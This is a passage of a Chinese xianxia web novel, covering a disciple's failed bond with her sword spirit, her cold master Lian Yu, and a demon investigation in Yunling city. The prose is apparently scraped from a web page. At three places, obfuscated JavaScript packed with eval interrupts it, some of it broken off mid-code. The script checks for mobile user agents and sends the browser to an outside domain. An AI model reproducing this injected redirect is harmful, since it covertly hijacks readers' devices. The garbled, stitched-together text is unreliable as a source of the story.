但柳无言每天都给她带好多东西——糕点啦,丹药啦,护剑膏啦等等,都是些她满意的玩意儿,于是她就这么妥协了。 索性她将矛头转移向连郁。 温拂渔腹诽:当年他自己就是个能躲就躲的主儿,如今当了仙尊,倒学会“淋过雨所以要撕伞”了?也不知体恤一下门下仅有的两个徒弟。 “师妹,今日我……”柳无言的声音再次响起,带着惯常的开场白。 温拂渔眼皮都懒得抬,熟练接口:“嗯,我知道的,师兄又要去教导师弟师妹,无暇分身与我一齐打扫听雪峰。” 不料柳无言今日却摆摆手,面露歉意道:“不是……今日我来打扫,师妹你就歇着吧。” 温拂渔这才正眼瞧他,略带疑惑:“为何?” “因为师尊……”柳无言哭丧着脸,支支吾吾,“师尊他明明昨日才归来,却不知怎的知晓了我近日总往新弟子那儿跑,斥我不务正业,罚我独自洒扫听雪峰整整一月。” 他几乎要捶胸顿足:“我都扫了多少年的听雪峰了,好不容易偷得几日闲却要被这般惩罚,师尊他老人家的心比咱峰顶的雪还冷!” 温拂渔抓住了重点:连郁昨日归来了? 自招新仪典结束后,他就只来过一次听雪峰,交代完她的事之后便没再出现,所以听雪峰最近一直是两人一猫。 温拂渔忽然想起昨日打扫时,身后似乎有人悄然驻足。 她未曾回头,只当是柳无言又来监工,便随口抱怨了一句:“师兄,下次若能早些回来合力清扫,这听雪峰也不至于如此费时。” 当时她并未得到回应,回头也不见人影,还以为是柳无言又溜了,如今看来…… 柳无言还在那里哭诉:“我怎么这么可怜啊……” “被你屡次抛弃的师妹也很可怜。”她心中了然,面上却无半点同情,十分自然地将扫帚塞回柳无言手中,语气平淡甚至带了点幸灾乐祸,“加油吧师兄,这是你坑害唯一师妹的代价。” 随后温拂渔毫不犹豫地转身,无视了身后柳无言悲痛欲绝的哀嚎,径直回了听雪阁。 今日难得悠然自得,温拂渔打算回房冥想片刻,稍作休憩。 行至连郁房门外,却见门扉虚掩,那只雪白的猫儿正慵懒地趴在门口,慢条斯理地舔舐着爪子。听见脚步声,它抬起碧蓝的猫眼,静静望了她片刻,旋即起身,优雅地甩着尾巴踱进了屋内。 紧接着,连郁清冷的嗓音便自室内传来。 “拂渔,不与本尊打声招呼么?” 温拂渔脚步一滞,心下无声叹气,只得上前轻轻推开门扉,对着屋内盘膝坐在榻上的浅衣仙尊规规矩矩行了一礼:“弟子拂渔见过仙尊。” 连郁缓缓睁开眼,目光落在她身上,并未让她起身,反而袖袍微拂,以灵力将门彻底推开:“既入我门下,何须如此拘礼,进来便是。” 温拂渔:…… 为什么她非要进去,她就只是想回自己房间不行吗? 见她踌躇不前,连郁话锋陡然一转:“说起来,这几日你的本命剑凝神修炼到如何程度了?” 他看见温拂渔表情瞬间凝固,话却不减:“仙尊们说你剑法修炼的不错,但唯有凝神本命剑这事一直止步不前,甚至还有所退步?” 温拂渔此时更想离开了。 凝神,便是人剑合一,通晓剑心。这是剑修的根基。 招新仪典后的匆匆一别,连郁表示既然已入剑道,且她也有自己的本命剑,那就必须以最快的速度解决本命剑不出鞘的问题。甚至还惊动了其他三位仙尊,并嘱托柳无言从旁协助。 可惜,她目前依旧无法与本命剑凝神成功。 更严重的是,骗子依旧出不了剑鞘不说,如今她便是耗再多灵力,也再难唤动其一毫。 事已至此,既然已经达到最坏的结局,她几乎要放弃训练本命剑,转而精修其他法门。 温拂渔不是擅长撒谎的性子,便实话实说:“我连唤都唤不动,它大抵是废了。” 连郁反问:“你说是剑废了?” 温拂渔点头道:“是的。” 反正不可能是她废了。 连郁沉默半晌,目光扫过她强作镇定却难掩一丝不服的脸庞,淡淡道:“去将你的剑取来。” 温拂渔一怔:“仙尊您……” “我亲自助你凝神。” 助人凝神需耗费大量法力,强行闯入剑灵空间,一个不慎极易遭反噬,故而除非万不得已,否则少有师长会亲自出手。 “你是我弟子,剑道根基绝不能废。你既能强行召唤它一次,便证明你与它有缘,凝神成功的可能性远比他人为大。” 温拂渔仔细一想,觉得他说的有道理。而且如今连郁位居仙尊之位,又精通剑法,她自是不用怕被反噬,便回到自己房间取来了骗子。 骗子经过她这几日连日的擦拭,墨黑的剑鞘更显幽深,鞘上那颗红玛瑙在光线映照下泛着微光,像黑暗中睁开眼睛的黑蟒。 两人相对盘坐,骗子横放于中间。 温拂渔闭目凝神,只觉额间一凉,连郁修长的指尖已点在其上。下一瞬,一股强大的灵力温和却又霸道地涌入她的识海,眼前的黑暗骤然被另一种深邃的虚无取代。 直到耳畔传来一阵风声,她猛地睁开眼。 只是睁开眼后,眼里面前已不是再连郁的房间。 哪有什么风声,只有无边无际的黑暗,无光无声,无天无地。 这是强制凝神被拉入的领域,既然不是她的识海,那便只能是骗子的剑灵空间。 可剑灵呢?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252358|182024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她漫无目的地行走,脚下虚浮不着力。忽而,远处似有一抹模糊光影掠过,伴随着一声银铃般的笑声,带着明显的引诱意味。 她连忙迈步追过去,却只闻其声,怎么也追不上。 不知追逐了多久,脚下忽然传来冰凉湿濡的触感。她低下头,发现漆黑的地面不知何时已漫上一层浅水,倒映出她的模样。 白里透红的小脸,一双长睫柳叶眼,高挺的鼻梁,红润的嘴唇。 还是这副熟悉的模样,只是…… 这张脸稚嫩许多,眉眼间尽是未曾经历风霜的幼态,分明是她年少时的样子。 一个猜测浮上心头:“难道你是……” “骗子。” 水中的“她”忽然咧嘴一笑,唇瓣开合,吐出两个冰冷清晰的字眼。 随后,水面哗啦一声脆响,竟如镜子般破裂碎开,倒影中那张稚嫩的脸瞬间扭曲,变得狰狞无比。 “水性杨花的女人!我讨厌你——” 伴随着这声尖锐的斥骂,一股巨大的排斥力猛地袭来,温拂渔只觉神魂一震,眼前景象飞速倒退模糊。 “咳!” 意识回归本体,温拂渔喉头立刻涌上一股腥甜,所幸一股温和醇厚的灵力及时涌入,迅速抚平了她神魂的震荡与不适。 连郁收回手,眉头微蹙,连带着看她的眼神都带上一丝复杂的神色:“你的剑灵……对你敌意极深。” 他甚至能感受到那空间里弥漫的强烈抗拒和怨念。 “仙尊,我知道的。”她叹了口气,伸手将骗子重新揽回怀中,语气带着几分歉意,面色却已恢复平静,“劳烦仙尊费心了,弟子日后定勤加练习,必不令师尊蒙羞。” 她起身欲告辞,只是足尖刚动,却碰触到一团毛茸茸的事物,低头一看,那只白猫不知何时蜷在了她脚边。 这只被柳无言控诉过无数次“不亲人”的白猫,被她碰到非但没躲,反而用脑袋蹭了蹭她的裙角,软软地“喵”了一声,还用尾巴尖儿轻轻扫过她的脚踝。 她正迟疑是弯腰抱它还是唤它一声,身后已传来连郁听不出情绪的声音。 “雪儿,过来。” 温拂渔的身形几不可察地一僵。 “明日此时再来。”连郁的声音再次响起,这次是对她说的,“今后每日如此,直至你能与剑灵沟通为止。” “每日?这太劳烦仙尊……”温拂渔试图挣扎。 “你是本尊弟子,分内之事谈何麻烦。”他略微一停顿,又道,“日后,若无言还将清扫之事尽数交由于你,直接告诉我便是,我会惩治他的。” 温拂渔只得讪讪应下:“……是,弟子告退。” 房门在她身后轻轻合上,连郁的目光却仿佛能穿透门扉,久久停留在她消失的方向。 他俯身,将乖巧偎过来的白猫抱起,指尖有一下没一下地梳理着它柔软蓬松的毛发,眼神却愈发幽深。 方才凝神时,虽然只有那么一瞬,但却被他捕捉到了——温拂渔短暂地进入了三问的空间。 三问剑已跟随他百余年,早在他升仙时与他一同封闭了空间,再无人能肆意靠近。 “三问,是她吗?” 靠在墙边的青玉长剑闻声,在剑鞘中“嗡嗡”地动了两下,给了他一个答复。 11. 委托 自连郁归来后,温拂渔感觉自己最近更累了。 除了每日雷打不动的修行课业,抱着她那不听话的骗子进行凝神修炼,如今她作为连郁唯二弟子之一,更成了剑道课上被重点关注,并且偶尔用以展示教学成果的典范。 平心而论,此前代课的三位仙尊虽风格迥异,但风评都很不错。 周茗月虽要求严苛,但语气温和点拨耐心,颇得女弟子敬爱;景川寡言少语,性情却纯直得有些木讷,常被胆大的弟子逗弄也从不真动怒;宋其旻脾气火爆,终日热血激昂,却偏偏常被自家徒弟直言顶撞,吃瘪的模样反倒冲淡了那份威严。 然而,连郁归来后,整个剑道场的氛围都变得严肃起来。 他并非疾言厉色之人,指导时甚至称得上轻声细语,从不厉声批评。但周身冰冷的气质,那双毫无波澜的眼眸,以及那份无形的疏离感,都让一众弟子噤若寒蝉,连呼吸都不自觉地放轻了几分。 就比如此刻站在温拂渔身边这位。 白诗茵是茗月仙尊的记名弟子,也是本届唯二的记名弟子之一。 她之所以认识白诗茵,是因为初次修炼时,这姑娘便像条小尾巴似的,总是默默出现在她身后不远处悄悄打量她。 连温溪柔都难得地主动凑过来提醒:“喂,那人看你的眼神怪怪的,小心点。” 温拂渔循着视线望去,恰好捕捉到白诗茵慌忙躲闪的目光,一副“我不是我没有”的心虚模样。 直到那目光愈发不加掩饰,几乎要在她身上烧出个洞来,温拂渔才蹙眉转身,语气带上一丝不耐:“你究竟想做什么?” 少女像只受惊的兔子,被她的语气惊得跳了一下,面红耳赤地解释道:“我想……我想认识一下你……” 她这才明白,白诗茵因着同为记名弟子,又见她总是独来独往,便以为找到了同类,想与之结交。她性子慢热内向,另一位同期的亲传弟子早已融入师兄师姐的圈子,如今唯有温拂渔,似乎与她一般形单影只。 温拂渔想起自家那位神龙见首不见尾的大师兄,默然片刻,只能干巴巴道:“我与我师兄……也不算很熟。” 谁知这话竟让白诗茵眼中瞬间迸发出光芒,自此以后,每次修炼必坚定地站在温拂渔身侧。 只是自连郁接手剑道课以来,白诗茵便总是深深埋着头,动作畏缩僵硬,连最基础的剑式都做得歪歪扭扭。 自然,她也收获了连郁最多的关注。 今日,连郁终于朝她走去,似乎要亲自纠正她的姿势。 然而,他刚抬起手,还未触及白诗茵的衣角,少女手一抖,木剑“啪嗒”一声掉落在地,发出清脆的响声。 是的,通过这几日的深入了解,温拂渔还了解到一件事:白诗茵恐男。 严重到无法与任何男性修士正常交谈,连与景川和宋其旻两位仙尊相处,也需避开视线才勉强自持。 而连郁…… 他的存在本身,就带着极强的压迫感和疏离,恰恰是白诗茵最恐惧的类型。 其实温拂渔不是很理解她何独独对连郁反应如此剧烈。 但看着此刻颤抖着弯腰捡剑的少女,再瞥一眼旁边虽面色如常,眼神却隐约透出一丝无措的连郁,她终究还是有些于心不忍 她主动出声道:“仙尊,弟子可以在一旁协助指导她。” 连郁目光转向她,在她脸上停留一瞬后淡淡应了一声“可”,随即便转身去查看他人,留给她们一个背影。 白诗茵几乎是立刻松了口气,投给温拂渔一个感激的眼神:“温温!太感谢你了,祝荣仙尊他……气场太可怕了!” 温拂渔一边纠正她的动作,一边低声道:“还好吧,只是如今性子冷了些。” 若碰上以前的连郁,指不定热的能把人给烤化。 白诗茵小声抱怨:“是因为你是他亲弟子,所以才没觉得。” 温拂渔不再接话,手上却猛地发力,将她一个错误的手臂姿势掰正,痛得白诗茵倒抽一口冷气,怒目而视。 “白诗茵。”温拂渔面无表情,“再分心,我便请仙尊亲自来教你。” 这话比什么都管用,白诗茵立刻噤声,规规矩矩练到了最后。 课业结束后,白诗茵本想同温拂渔一道走,余光却瞥见连郁朝这边走来。她顿时停下脚步,撂下一句“明日见”便逃也似的溜了。 温拂渔看着她仓皇的背影,再看向已走到跟前的连郁。 虽然他如今已经与她熟知的那位少年不同,但他到底还是那个连郁,敏锐地捕捉到白诗茵那避之不及的态度,眸子里掠过一丝转瞬即逝的黯然。 温拂渔内心叹息:实在是白诗茵那丫头太好懂了,是个人都会感到受伤。 索性她试图安慰道:“仙尊,白诗茵她……只是天生对异性有些畏惧,并非是针对您。” 连郁看着面前少女一脸认真地为他解释,似乎是怕他怪罪自己的朋友。 她一直都很重视身边人。 除了他。 他眼睫微颤,掩去眸中情绪,声音依旧平稳无波:“无碍。”顿了顿,又道,“回去吧。” 两人乘仙鹤返回听雪峰。 经过这些时日的相处,仙鹤已熟悉了温拂渔的气息,待她跃下后它并不立刻飞走,而是会在原地停留片刻,温顺地低下头,任由她轻轻抚摸它的羽毛或头顶,这才振翅远去。 连郁总是静立一旁,默许地看着这一幕,既不催促,也不评价。 直到那抹白影消失在天际,他才率先转身,走向听雪阁。 二人刚至阁前,便见柳无言风风火火地跑来,一手抱着剑,一手捏着张任务卷轴。 见到温拂渔,他立刻端起大师兄的架子,笑嘻嘻道:“师妹近日凝神可有好转?师兄我当年可是只用了三日便成功与樱墨心意相通了。” 说罢,他还特意晃了晃怀中那柄长剑。 温拂渔没理他的炫耀,目光瞬间被那柄剑吸引。 她一直觉得,剑修的剑似乎格外有灵性,也格外漂亮。比如连郁的三问,再比如柳无言这柄名为樱墨的剑。 樱墨剑鞘是独特的粉白色,其上墨色纹路晕染,如同落樱飘零雪中,非常好看。 比她那不听话的骗子好看。 “师兄的剑真美。”她看得有些出神,下意识地伸出手,“我能摸摸看吗?” 柳无言面色顿时一僵,一旁的连郁已出声制止,声音微沉:“拂渔,不可随意触碰他人的本命剑。” 温拂渔:? 没记错的话……以前你的本命剑不是随便让我碰吗? 她不解地追问:“为何不行?” 柳无言连忙解释:“师妹新入道,不知道很正常。本命剑于剑修而言,就像第二性命,尤其已经凝神合一的剑,剑灵与主人共生。若被外人触碰,剑灵易受惊扰,连带着剑修也会灵力滞涩,剑意难舒,与普通人无差。” 温拂渔小心翼翼地瞥了眼连郁,更加不解了:“这样吗?那会有人主动给别人碰本命剑吗?” 柳无言:“没有吧?谁会做到那种地步……” “说不准。”连郁打断了他的话,“据剑主的意愿而定。” 柳无言:??? 师尊,您当年可不是这么教我的! 您明明千叮万嘱,说本命剑绝不可轻易予人,尤其要警惕那些得到后又不珍惜之人。那语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252359|182024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉痛得,不知道的还以为您老人家亲身经历过什么情伤呢! 温拂渔似懂非懂地点点头。 算了,当时的连郁毕竟是剑修,他让自己碰剑应该有他自己的理由。 连郁目光转向柳无言:“你来这里就为展示爱剑?” 柳无言这才想起正事,连忙递上卷轴:“师尊,弟子明日有任务要执行,您看这听雪峰的打扫……” 温拂渔警觉,立马抬眸盯着他。 柳无言被她看得一怵,莫名心虚,赶紧补充:“啊,那个,师妹若是有意,也可同去,师兄保你一路安稳。” 新入门弟子基本没有能接取委托的资格,前期一般需跟随师兄师姐才有机会历练。温拂渔以前都是被连郁强行拉入的,她本身对执行任务没什么兴趣。 “这是有关云陵城一带的任务。”柳无言展开卷轴,快速说道,“近来有妖族胆大妄为,屡屡闯入城中作乱滋扰。虽未伤人性命,却行踪诡秘,弄得百姓人心惶惶,日夜难安……” 云陵城? 温拂渔脸色骤变。 怎么会?她离开尚不足半月,云陵城怎会突生妖患? 舅舅……舅舅他怎么样了? 温拂渔猛地上前一步,一把抓住柳无言的手腕,力道之大,令柳无言吃痛:“师兄,带我去。” 柳无言被她这突如其来的激烈反应吓了一跳,手腕被捏地生疼:“师,师妹你别急,我没说不带你啊……” “无言。”连郁在此刻终于再次出声,“你接此委托当真只为救人,而非借机逃避责罚?” 柳无言面色一僵,气势瞬间矮了半截,支吾道:“弟子……弟子确是心系百姓……” “实话。” 柳无言垮下肩膀,哭丧着脸坦白:“师尊,这听雪峰实在太大了,从前扫到后,从东扫到西,弟子真的扫不动了……求师尊开恩……” 连郁丝毫不为所动:“此次责罚,是因你欺压同门师妹所致。一月结束后,还是由你二人共担,有何不妥?” 温拂渔此刻却已无心理会他们的对话,全部心神都系在卷轴上。 柳无言像是抓到救命稻草,急忙道:“师尊,你看师妹也对这委托很感兴趣,可否由我带着师妹一起前去,惩罚什么的回来再继续?” 他好在这些时日里贿赂贿赂师妹,让她也站在自己这边,归来后帮他求求情,减少点责罚时间。 连郁的目光落在温拂渔身上。 此刻她指尖用力,唇瓣紧抿,眉宇间满是深深的忧虑。 云陵城…… 这地名,似乎有些耳熟。 他眸光微闪,心中已有决断,声音依旧平静无波:“不必了,本尊带她去便是。” 此话一出,不仅柳无言愕然,连温拂渔也猛地抬起头。 “师尊?这,这只是个丙级委托,何须劳您亲自……” “既然是本尊弟子,谈何劳烦。此事就此定下,无言你的惩罚照旧执行,别妄想逃脱。”连郁转身朝阁内迈步,“拂渔,带上你的剑,准备开始今日的凝神修炼。” “是,仙尊。”温拂渔低声应道。 柳无言哭丧着脸,悄悄拉住温拂渔的衣袖,眼神带着哀求,还想做最后挣扎:“师妹……” 他已明了,师尊这是铁了心的要惩罚他的懒惰,而他如今唯一能抱住的大腿就只有面前的师妹了。 温拂渔叹了口气,一根根掰开他的手指,承诺道:“待我归来,我便与师兄一同打扫吧。” 看在你带来了一个重要委托的份上。 柳无言这才稍稍松了口气。虽对失去委托仍耿耿于怀,但可算不必再独自面对那漫无边际的清扫之苦了。 12. 云陵 不知是因为心系云陵城还是今日修行过度,温拂渔这天晚上睡的并不安稳。 一开始是有极细微的响动响彻在耳畔,在寂静的深夜中被无限放大,搅得人心神不宁。 待那声响好不容易消停,另一重纷扰却又接踵而至。 是一男一女激烈的争吵声。 还不时夹杂着某种金属物件磕碰墙壁的“铛铛”声。 “愚钝,你为何不肯认她?除却主人,我便只认可她能真正发挥出吾等锋芒,你竟还不自知,真是个不聪明的剑灵。” “她不喜欢我,我凭什么喜欢她?”女声毫不示弱地反驳,却带着一丝委屈,“剑灵也是有尊严的好吗!” 温拂渔在睡梦中蹙了蹙眉,被这无端的吵闹惹得心生烦躁。 “你未尽剑灵之责,她不喜欢你不是必然吗?当时演武场上她那么着急地召唤你,连我都感应到她的召唤,你却一动不动。” “我动了!分明是看见你不要脸不要皮地往非主之人身边跑去,才不小心慢了一步。” 吵死了 温拂渔意识模糊地想着:叽叽喳喳的说什么呢。 “强词夺理。分明是你懈怠摆烂,她这些时日凝神那么专注,你却屡次将她强行赶出出空间!” “难道不是怪她四处招摇心神不宁?进自己剑灵的空间慢吞吞的,反倒先一步误入了其他家伙的空间!” “这说明她对我比对你熟啊。”那男声甚至带上了一丝得意的炫耀。 “啊啊啊!所以我讨厌那个大骗子——” 温拂渔终于忍无可忍,闭着眼对着那一片混沌的争吵来源厉声喝道:“要吵架滚出去吵!” 伴随着她一声怒斥,仿佛有什么东西“砰”地一声倒地。 世界骤然清净下来,她长舒一口气便再次沉睡过去。 翌日清晨,温拂渔带着些许倦意起身。她仔细整理好床铺,又清点了一遍随身行李,这才走到镜前,熟练地将长发编成一股麻花辫垂在肩侧。 她身上穿的是与柳无言同款的听雪峰弟子服。水蓝色的袍服,袖口与衣摆绣着精致的云纹,色彩由上至下渐深,衬得她多了几分仙韵气质。 青山门不太注重统一服装这一点,只要求需在执行任务与门派仪典时装备便好。 她揉了揉额角,试图回想昨夜半梦半醒间的嘈杂,却只捕捉到一些模糊破碎的片段,最终归于一片寂静。 她低声自语:“许是担心舅舅,导致精神有些萎靡不振,都产生幻听了。” 目光扫过墙角,却发现那柄黑剑不知何时竟从倚靠的状态滑落,正孤零零地倒在地板上。 温拂渔盯着它看了片刻,终是弯腰将其拾起,反手将剑负于背后。 没办法,剑修出行,岂能不佩剑。哪怕骗子至今仍不肯出鞘。 推开房门,连郁已候在院中。 只是温拂渔在看见他的着装时一愣。 他未束发冠,青丝随意披散肩头,身着一袭浅绯色的衣衫,并非浓艳的朱红,而是更趋于柔和的樱花淡粉,与他平日素白清冷的装扮大相径庭。 他的手随意搭在竹栏上,眼神望着远处,不知在想些什么。 再见面后,她还没见过他穿这般鲜艳的服装,一时竟恍惚透过他看见了过去的连郁,那时的他鲜衣怒马,穿的服装色彩甚至比这身还要艳丽,笑起来时,眼里盛着永不熄灭的阳光。 连郁啊。 从那个耀眼的太阳变成这般冰冷的模样,你到底经历了什么? 她望着他,一时竟忘了言语。 直到连郁有所察觉,微微侧首看来,她才蓦然回神,压下心头翻涌的复杂情绪,上前一步,轻声打破了这片静谧:“仙尊,弟子已准备妥当。” 连郁的目光在她身上停留一瞬,淡淡应道:“好,走吧。” * 温拂渔本以为自己能体验一番御剑飞行的感觉。 以前的连郁总说自己技术不太娴熟,怕把她摔着,她因找寻回家的方法沉迷藏书阁,也没把御剑这事太放心上。如今连郁为剑修仙尊,再怎么说也能带人御剑了吧? 谁知出了山门,连郁便径直引她走向一辆早已备好的马车。 温拂渔坐在微微晃动的车厢里,沉默了半晌,目光终究忍不住飘向他腰间的三问,迟疑着开口:“仙尊,我们不能御剑前往吗?云陵城路途遥远,坐马车的距离不短。” 连郁道:“五十年前,仙门之间便有明规,非紧急战事或特许,仙门修士不得在人界随意御剑飞行,以免惊扰世俗引发恐慌。” 温拂渔“哦”了一声。 到底是谁想出这么个规定的,真不方便。 “你似乎对云陵城很是熟悉?”连郁忽然问道。 温拂渔心头一紧,面上却维持平静,解释道:“弟子原是云陵人。”话一出口,她猛地想起一事,急忙追问,“仙尊,为何听雪峰没有信鸦?与外通信实在是很不方便。” 其实这事她老早就想问了,但最近累的要命,她就总给忘记。 若她没记错,青山门内应该是普通弟子居所有五到八只信鸦,仙尊居所各有一只,方便弟子与门外的交流。 但听雪峰并没有信鸦。 她去问了柳无言,但对方表示他到来时听雪峰便没有信鸦,他若是想寄信,一般都是去较近的浮波阁。 于是她便去了,并寄给舅舅一封信表示自己已经入了青山门,不用担心她。 但是直到收到回信,她便再没用过信鸦。 其一是借用信鸦很不方便,因为每处的信鸦只听得懂该处的召唤,所以她需要找浮波阁的弟子帮她召唤才能使用。 其二是她只认识温溪柔。明明只是让她帮忙召唤信鸦,结果硬是在一旁听她赞赏自己半个时辰,听得她心累,并决定再也不去浮波阁了。 至于借用普通弟子的信鸦…… 听柳无言说,之前有位师兄因为来不及便借用了普通弟子处的信鸦,之后被他们蛐蛐了半年之久,说是明明已经是亲传弟子了还用他们的东西,是想表达什么。 温拂渔虽然不是很在意他人闲言碎语,但若被持续非议半年,想来心中也不会好受。 所以这段时间,她竟是与舅舅彻底断了音讯。若非此次委托,她恐怕至今仍不知云陵城生变。 连郁闻言看了她一眼,漫不经心道:“被雪儿咬死了。” 温拂渔:“啊?” 原来只是这么个原因吗? “它与信鸦嬉闹却反被信鸦捉弄,一气之下便下了重口。”连郁解释道,“平时无言习惯去浮波阁借用,我便也未再将此事放在心上。” “你若需要,归来后我再向掌门讨要一只信鸦便是。”他顿了顿,“但不能随便留在听雪峰,你养着罢。” “是。”温拂渔应道。 之后车厢内再次陷入沉默。 温拂渔默默无声地坐在马车里,时而望向窗外,时而低头看自己的剑。 太安静了。 安静地仿佛这车里就她一人。 她忍不住悄悄抬眼,打量对面的连郁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252360|182024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。他双眸微闭,长睫垂下,遮住了眼底所有情绪,不知是在休憩还是冥想。 换做以前的话,连郁绝不会让场子冷下来,他会找很多话题,硬是要逼得她说出几番话才罢休。 以前不觉得,现在才发现身边有个热情洋溢的人还是很重要的。 她在内心无声叹气:如今这副模样,找话题的人只能是她了。 温拂渔斟酌片刻,寻了个话头:“师兄说他的第一次任务不是您带的,为何这次仙尊要带我?” 连郁并未睁眼,只淡淡答道:“那时有他师兄带领。如今他受罚禁足,自然由我来。” 温拂渔眨了眨眼:原来如此。 只是她潜意识觉得连郁话太少了,想起以前的他,简直跟现在判若两人。 “仙尊不太喜欢说话呢。”她道,“您知道门派对您有个称呼,叫‘青山门玄冰’吗?” 连郁“嗯”了一声,却突然睁开眼,直直看向她道:“你想让我多讲话?” 温拂渔猝不及防地被反问,顿时语塞。随后她摇摇头道:“我没有其他意思,仙尊不喜欢讲话,那少讲些便是。” 她这话一出,连郁罕见地愣了片刻。 他盯着温拂渔一脸认真的表情,嘴唇微动,似乎想说些什么,最后却抿紧嘴唇,又是一声“嗯”便闭上了眼。 温拂渔反应过来后,开始埋怨自己这张嘴:看看你,说话说少了吧,直接把话题聊死了不说,这一路上怕是再难找话题开口了。 最终,经过漫长的无声行程,他们到达了云陵城。 下了马车后,温拂渔轻车熟路地带着连郁去找了城主。城主一见来者是青山门仙师不说,居然还有位仙尊,紧张地差点卡在桌椅间没起来。 “不必紧张,我们来只是为了了解最近城内的事。”连郁语调带着些微的柔和,“麻烦城主为我们讲下最近发生的事。” 城主挥挥手,示意佣人搬来两个凳子,并招呼他们坐下。 “二位仙师如何称呼?” “鄙人姓连,这位是我的徒弟……” 温拂渔连忙开口道:“拂渔,叫我拂渔便好。” 城主在听到她名字时,目光似乎在她脸上多停留了一瞬,带着些许不易察觉的打量,方才开始叙述: 第一个发现此事的人,是因为睡眠浅,睡觉时有轻微风吹草动能会醒,所以有人溜进他的房间,并突然伸出手抓住他的脑袋时他立刻就反应过来了。之后他靠装睡逃过一劫,但第二日便忘的干干净净,直至第二起事件发生,方才忆起并上报。 第二个人是个小姑娘,她白日在家中看书,突然有个人影出现在窗口,她还没来得及尖叫就被一只手罩住脸失去了意识,直到下午才醒过来。 类似事件前后共计发生了五起。 至于为何判断是妖族所做,是因为其中一个事主亲眼看见自己捡回来的小兔子变成了高大威猛的男人。 城主将记录着几位事主住址的纸条递给二人:“二位仙师若想细查,可按此地址寻访。昨日我已吩咐下去,让他们今日留在家中等候。” 连郁接过纸条,略一颔首:“有劳城主了。”随即转向温拂渔道,“拂渔,我们走。” 城主看着两人渐渐消逝的背影,对刚才那位年轻的少女依旧耿耿于怀。 她的长相实在有些面熟,就连名字也有些熟悉。 是谁呢? 城主想了会儿,终是没想起什么,懊恼地坐在椅子上,有一下没一下地用指腹敲着脑袋:“真是年纪大了,不中用啊。” 13. 妖患(一) 温拂渔与连郁依照城主所给地址,逐一登门查访。 前四位事主的经历大抵相同:都是在对方手掌附上头顶后便莫名陷入昏睡,醒来后却周身无恙,仿佛只是做了一场无痕的梦。 而在与他们的闲聊中两人还得知,此类事件远不止登记的这五起。另外还有几户人家也曾于休憩迷糊间感知异样,只因醒来后无甚损失,便未声张,只当作奇闻轶事在茶余饭后提及。 二人正前往最后一家。 其实从见到那封委托卷轴起,温拂渔心头便萦绕着一个疑问:这妖物潜入云陵城,不杀人放火,也不劫掠财物,只是骚扰百姓,图的是什么? 方才又从这些百姓口中得知确实如此,他们并未受伤或者失去什么,那些闯入者也没有再来过。如此,她心中的疑虑便更深了。 温拂渔委托参与的少,经验不多,因此不敢随意下结论,便抬眼看了眼连郁,低声请教道:“仙尊,您怎么看?” 连郁目光微侧:“指哪方面?” 温拂渔便屈指数起来,眼中闪烁着难得一见的专注光芒:“首先,据这四人所述,所见妖物形态皆不相同,那他们平时都躲在哪才不被发现?其次,妖族为何只潜入骚扰,却不伤人不毁物?最后,他们触碰头颅目的何在,是为施法吗?” 她说完,便以一副求知若渴的神情望向他。 “其一,妖可伪装成常见动物存在各处,这不难。其二,这是个好问题,但目前的线索得不到答案。”连郁凝视着她此刻神采奕奕的模样,缓声道,“其三,或许正是为了施法。” 温拂渔走在连郁身侧,脑海中飞速翻阅着昔日藏书阁中所阅典籍内容,搜寻与头颅相关的术法记载。 可天下术法成千上万,在这时候要想起有用的线索,简直比登天还难。 “线索尚未搜集完全,不必过早绷紧心神。”连郁见她眉头微蹙,一副苦思冥想的模样,嘴角竟不自觉扬起一抹浅笑,“总是蹙眉可是会长皱纹的。” 温拂渔闻得那声几不可闻的轻笑,猛地扭头看他,随即又迅速摆正视线,指尖无意识地缠绕着衣角。 那抹转瞬即逝的笑颜扰乱了她的思绪,脑中仅剩一个念头盘旋不去—— 他还是笑起来更好看。 “弟子明白了。”她闷闷地应了一声,不知回应的是哪一句。 温拂渔根据地址带路,只是越走越觉得这条路有点不妙的熟悉感。她再仔细看了遍地址,最终停在方才被她忽视的最后几个字:赵家。 赵家在云陵城是数一数二的出名——是城中首屈一指的经商巨头,据说甚至在宫中也有几分人脉,寻常百姓对其多是敬而远之。 当然,令人退避三舍的,不单是赵家的财势,更是赵家那位横行霸道的公子哥。 正是招新仪典上,被她用石子教训过的那个纨绔。 赵坤炳,云陵百姓避之不及的混世魔王,小时候曾因一小孩说他名字土气,结果把人按在地上痛揍,还放狠话扬言,要让他家这辈子都不好过。 其实是因为这名字确实俗气,但却又是他爷爷花重金根据他生辰八字算的,他敢怒不敢言,只能在其他人面前发泄。 